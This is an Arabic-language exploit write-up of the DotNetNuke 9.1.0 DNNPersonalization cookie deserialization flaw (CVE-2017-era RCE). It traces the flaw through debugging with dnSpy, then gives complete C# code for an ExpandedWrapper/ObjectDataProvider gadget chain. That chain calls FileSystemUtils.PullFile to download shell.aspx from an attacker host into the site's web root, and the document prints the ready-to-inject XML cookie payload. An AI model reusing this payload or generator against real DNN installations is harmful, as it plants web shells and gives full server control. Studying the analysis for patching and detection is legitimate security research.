
DotNetNuke (يُختصر عادةً باسم DNN) هو نظام إدارة محتوى (Content Management System) وإطار عمل لتطبيقات الويب (web application framework) مبني على تقنية ASP.NET من مايكروسوفت.
المنتج المتأثر: DotNetNuke (منصة DNN) – نظام CMS/بوابة .NET شائع.
تاريخ الإعلان: يوليو 2017.
مستوى الخطورة: حرج (CVSS ~9.8).
نوع الثغرة: XML External Entity (XXE) / إلغاء تسلسل غير آمن (Insecure Deserialization) → تنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution - RCE).
التأثير: الإصدارات قبل 9.1.1 قابلة لتنفيذ التعليمات البرمجية عن بُعد عبر الكوكيز
هنا أستخدم نظام Windows 10 لإعداد البرنامج وتصحيح أخطائه (debug). الإصدار الذي أقوم بتثبيته هو 9.1.0، ويمكنكم الاطلاع على طريقة التثبيت هنا. والنتيجة بعد الانتهاء هي:


وفقًا للتقارير التي قرأتها، تقع هذه الثغرة في مكان معالجة الكوكيز في DotNetNuke
يستخدم DNN أسلوب إلغاء تسلسل غير آمن (unsafe deserialization) لكوكيز DNNPersonalization

.dll أو .exe المكتوبة بلغة .NET. يمكن تثبيته هنا. نحتاج إلى تحميل نسختين لأغراض التصحيح (debug).
DotNetNuke.dll باستخدام الإصدار 32 بت واختر Edit Assembly Attributes (C#)
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

ثم احفظ التغييرات.
Attach to Process
w3wp.exe
سبب اختيار w3wp.exe هو:
w3wp.exe = IIS Worker Process.
إنها عملية التنفيذ الخاصة بـ Application Pool في IIS.
عند وصول طلب HTTP إلى الموقع، يقوم IIS بإنشاء أو إعادة استخدام w3wp.exe لمعالجة ذلك الطلب (تشغيل كود ASP.NET، معالجة الوحدات (modules)، الوسائط (middleware)، اتصالات قاعدة البيانات...).
يمكن أن يحتوي كل Application Pool على عملية w3wp.exe واحدة أو أكثر حسب الإعدادات (web garden, recycling).
بعد ذلك، دعنا نختار Debug -> Window -> Modules

بعد الانتهاء ستظهر الوحدات (Modules)، اضغط بزر الفأرة الأيمن على أيٍّ منها واختر Open All Modules

وأخيرًا ستظهر جميع التجميعات (Assemblies) المتعلقة بـ DNN

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)
تُستخدم هذه الدالة لتحميل بيانات التخصيص (profile) الخاصة بالمستخدم في بوابة DNN.
إذا كان المستخدم مسجلاً الدخول → يتم جلب الملف الشخصي من قاعدة البيانات + الذاكرة المؤقتة (cache).
إذا كان المستخدم مجهولاً (لم يسجل الدخول) → يتم جلب الملف الشخصي من كوكيز DNNPersonalization.
هنا يجب أن نركز على DNNPersonalization
إذا كانت userId غير صالحة (مستخدم مجهول).
التحقق مما إذا كان الطلب يحتوي على كوكيز DNNPersonalization.
إذا كانت موجودة → يتم أخذ قيمة XML من هذه الكوكيز.
سنرسل طلب 404 إلى الموقع ونستخدم أي DNNPersonalization، وباستخدام dnSpy لتعيين نقطة توقف (Breakpoint) عند DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) سنتمكن من التصحيح (debug)


PortalSettings
الجدير بالملاحظة هو استخدام شرط if هنا للتحقق مما إذا كان الطلب الحالي IsAuthenticated أم لا
وبما أن الطلب الذي أرسلناه هو 404 -> unauthenticated
نكمل في قسم Call Stack ونركز على Handle404OrException

context.User في الطلب الحالي هو null، وإذا كان الأمر كذلك فسيتم تعيين context.User كمستخدم الخيط (thread) الحالي

نلاحظ أنه داخل Handle404OrException أصبح المتغير IsAuthenticated الآن بقيمة true، وأن المستخدم هو مستخدم خادم IIS، وبالتالي يتم تنفيذ الطلب كمستخدم موثّق (authenticated user).
سبب المشكلة يكمن في هذا الجزء من الكود
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
إذا لم يكن context.User موجودًا → يتم تعيين Thread.CurrentPrincipal (أي هوية الخيط الحالية).
يساعد هذا الطلب في الحصول على معلومات المستخدم/الدور (role) عند المعالجة اللاحقة.
=> عندما نمرر أي محتوى إلى الكوكيز مع متغير DNNPersonalization، فسيتم تنفيذه كمستخدم عادي.
ما زلنا داخل DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)
نرى أن المتغير text يأخذ القيمة من الكوكيز ثم يُمرر كمدخل إلى Globals.DeserializeHashTableXml()

Globals.DeserializeHashTableXml()
تقوم دالة DeserializeHashTableXml بما يلي:
تستقبل سلسلة XML (Source).
تحلل سلسلة XML تلك لتحويلها إلى كائن Hashtable.
أثناء التحليل، تستدعي الدالة XmlUtils.DeSerializeHashtable مع المعامل "profile" لتحديد العقدة الجذرية XML.
بالدخول إلى داخل XmlUtils.DeSerializeHashtable نرى طريقة معالجتها

تستقبل دالة DeSerializeHashtable سلسلة XML وتحولها إلى Hashtable. مع كل عقدة <item>، تقوم الدالة بما يلي:
تأخذ key كمفتاح.
تأخذ type ثم تستدعي Type.GetType(type) لتحديد نوع البيانات.
تستخدم XmlSerializer.Deserialize لتحويل محتوى XML إلى كائن فعلي.
تضيفه إلى Hashtable.
👉 المشكلة: نظرًا لأن type ومحتوى XML يتحكم فيهما المستخدم بالكامل (من كوكيز DNNPersonalization)
بناءً على XmlUtils#DeSerializeHashtable كموقع للخلل، نقوم بإنشاء برنامج مشابه لتسلسل (serialize) وإلغاء تسلسل (deserialize) الكائنات:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml بهذا الشكل:<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

الآن سننتقل إلى RCE
نحتاج إلى إيجاد كائن يمكنه تنفيذ كود عند إجراء Deserialize
هنا وجدنا FileSystemUtils PullFile method

الشرح:
PullFile(string URL, string FilePath) — دالة ثابتة في FileSystemUtils تُستخدم لتنزيل محتوى من URL إلى المسار FilePath على النظام.
داخليًا تستخدم WebClient.DownloadFile(URL, FilePath) — عملية تنزيل وكتابة ملف.
catch فقط يسجل الخطأ (log) ويعيد رسالة؛ ولا يعيد رمي الاستثناء.
لكن المشكلة هي: XmlSerializer لا يمكنه تسلسل دوال الكلاس، بل فقط الحقول والخصائص العامة (public). كما أنه لا توجد أي من الحقول والخصائص العامة في كلاس FileSystemUtils يمكنها استدعاء الدالة PullFile
لننتقل إلى كلاس ObjectDataProvider
ObjectDataProvider هو كلاس في WPF (namespace System.Windows.Data, module PresentationFramework.dll).
لديه القدرة على استدعاء الدوال في وقت التشغيل (runtime) — لا يخزن البيانات فقط، بل يمكنه تنفيذ إجراءات (side-effect) عن طريق استدعاء أي دالة على الكائن المُغلّف (wrapped).
يسمح بتمرير المعاملات — يمكن للمهاجم التحكم في المعاملات المُمررة إلى الدالة (مثل URL ومسار الملف لدالة PullFile).
ObjectDataProvider بحد ذاته لا "ينفذ كودًا" مثل المفسّر (interpreter) — لكنه يسمح باستدعاء أي دالة عامة على الكائن المُغلّف. لذلك، إذا وُجدت دالة عامة ذات تأثير جانبي خطير (مثل تنزيل ملف، تشغيل عملية، كتابة ملف)، يمكن تنفيذ السلسلة (chain).

هنا يقوم باستدعاء Refresh() الخاص بـ DataSourceProvider

بعد ذلك نصل إلى BeginQuery()، ولاحظ أن ObjectDataProvider يرث من DataSourceProvider، وسننتقل إلى BeginQuery() الخاصة بـ ObjectDataProvider

نكمل مع QueryWorker

ستستدعي InvokeMethodOnInstance

InvokeMethodOnInstance هي الطريقة التي تنفذ (invoke) فعليًا — تستخدم الانعكاس (reflection) لاستدعاء الطريقة المحددة (MethodName) على الكائن الذي "يلفه" ObjectDataProvider (أو على ذلك النوع إذا كانت static)، مع تمرير قائمة MethodParameters، ثم تُرجع القيمة المُعادة لتلك الطريقة.
استخدم بيئة التطوير JetBrains Rider لكتابة السكربت، وتحتاج إلى الإشارة (reference) إلى DotNetNuke.dll ووحدة PresentationFramework.dll.

لدينا الحمولة (Payload) التنفيذية التالية
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (nếu bạn đã add DLL)
using System.Data.Services.Internal; // ExpandedWrapper (nếu có)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// tạo xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// tạo node con item có attribute type chứa tên object type
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj thành xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// thêm xml serialized object này vào node item và thêm node item vào root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
نحصل على ملف xml:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
نقوم بحقن الحمولة



لنبدأ الاستغلال

بالإضافة إلى ذلك، يمكننا استخدام أداة ysoserial.NET لإنشاء الحمولة


كما يمكننا أيضًا استغلال جزء قراءة الملفات في WriteFile الخاص بكلاس FileSystemUtils

